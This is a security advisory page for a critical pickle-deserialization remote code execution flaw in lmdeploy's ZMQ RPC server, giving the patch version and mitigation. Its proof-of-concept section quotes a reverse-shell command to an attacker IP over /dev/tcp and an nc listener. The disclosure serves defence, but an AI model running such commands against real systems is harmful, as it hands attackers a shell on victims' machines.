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GHSA-5h8j-6crg-7rmw lmdeploy

CRITICAL

GHSA-5h8j-6crg-7rmw is a critical-severity (CVSS 9.8) Deserialization of Untrusted Data vulnerability in lmdeploy. A fix is available for lmdeploy — see the affected versions and patch details below.

LMdeploy has Remote Code Execution by Pickle Deserialization via zmq_rpc.call_and_response() in InterLM/lmdeploy

Also known asCVE-2025-59953
Published
Sep 16, 2026
Updated
Sep 16, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 17, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

EPSS Exploitation Probability

via FIRST.org ↗
0.7%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs51th percentile — riskier than 51% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-5h8j-6crg-7rmw plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 374,847 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐍lmdeploy

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Description

The LMdeploy implements an rpc server (AsyncRPCServer in zmq_rpc.py) for supporting the RPC communications. In its core functionality call_and_response(), I found it will directly use the pickles.loads() to deserialize the received messages without any sanitization, hence resulting in a remote code execution vulnerability by this RPC server.

Proof of Concept

  • Step1: The victim user starts a RPC server that connects to its network interface. We give our example code (server.py) in the attachment, you can reproduce directly with server.py.

  • Step2: The attacker can then send malicious pickle dump data to the remote RPC address for the attack. We give a example to show how can an attacker acquire a command shell:

    <img width="832" height="324" alt="image" src="https://github.com/user-attachments/assets/03b9654d-e25b-4e93-903a-2aae8b12e704" />

In this example, attacker modifies AsyncRPCClient and send a request containing malicious pickle dump data to let the victim execute command “bash -c ‘bash -i >& /dev/tcp/202.112.47.27/4444 0>&1’”, where 202.112.47.27 is an attacker’s server. Two points require special attention: 1.The client code originally only connects to localhost over a socket, but an attacker can easily change localhost to another IP to perform remote exploitation, because the RPC server does not validate the connecting IP. 2.The RPC server’s port is randomized, but an attacker can still scan ports to find and exploit it; in our demo we explicitly set the target port.

  • Step3: Attacker can use nc tool (nc -l 4444) to create a reverse shell and wait for connection. Then, attacker runs the client to send the malicious request. Since the pickle deserialization vulnerability, the victim rpc server will execute the malicious command and consequently let attacker get the command shell of victim machine.

We also give a demo video in the attachment, along with modified zmq_rpc.py. When you reproduce this issue in the client side (as an attacker), you can first replace zmq_rpc.py in pip site-packages with provided zmq_rpc.py in the attachment and then run python poc.py {port}.

Impact

Remote code execution in the victim's machine over network. Once the victim starts the RPC server, an attacker on the network can gain arbitrary code execution by scanning and finding the victim’s service.

Mitigation

(1)Sanitize data before pickle.loads it (e.g., rewrite Unpickler.find_class to set a whitelist), or use more secure deserialization methods such as safetensor or msgpack to replace the insecure pickle.loads. (2)Enable authentication in RPC services to ensure that only authenticated and trusted users are permitted to join the same cluster. LMdeploy.zip

Maintainer assessment

This advisory tracks remotely reachable arbitrary code execution caused by deserializing untrusted ZMQ RPC messages with pickle.loads().

The vulnerable RPC implementation was introduced in LMDeploy 0.9.1. Before version 0.10.2, AsyncRPCServer bound to tcp://*, allowing a network peer that could reach the randomly selected RPC port to submit a malicious pickle payload.

Version 0.10.2 changed the RPC server binding to localhost, removing the remote network attack surface. The RPC protocol still uses pickle internally, so the loopback RPC endpoint must remain inaccessible to untrusted local processes.

Additional client-side pickle.loads() call sites identified in a duplicate report are part of the same trusted internal RPC protocol and have been retained here as supporting evidence.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIlmdeploy0.9.1&&< 0.10.20.10.2pip install --upgrade 'lmdeploy==0.10.2'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for lmdeploy, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update lmdeploy to 0.10.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-5h8j-6crg-7rmw is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-5h8j-6crg-7rmw can be triaged on real exposure rather than presence alone.

Tailored to GHSA-5h8j-6crg-7rmw. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Description The LMdeploy implements an rpc server (AsyncRPCServer in zmq_rpc.py) for supporting the RPC communications. In its core functionality call_and_response(), I found it will directly use the pickles.loads() to deserialize the received messages without any sanitization, hence resulting in a remote code execution vulnerability by this RPC server. ### Proof of Concept * Step1: The victim user starts a RPC server that connects to its network interface. We give our example code (server.py) in the attachment, you can reproduce directly with server.py. * Step2: The attacker can then
O3 Security · Impact-Aware SCA

Is GHSA-5h8j-6crg-7rmw in your dependencies?

O3 Security finds GHSA-5h8j-6crg-7rmw across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-5h8j-6crg-7rmw: lmdeploy (Critical 9.8) | O3 Security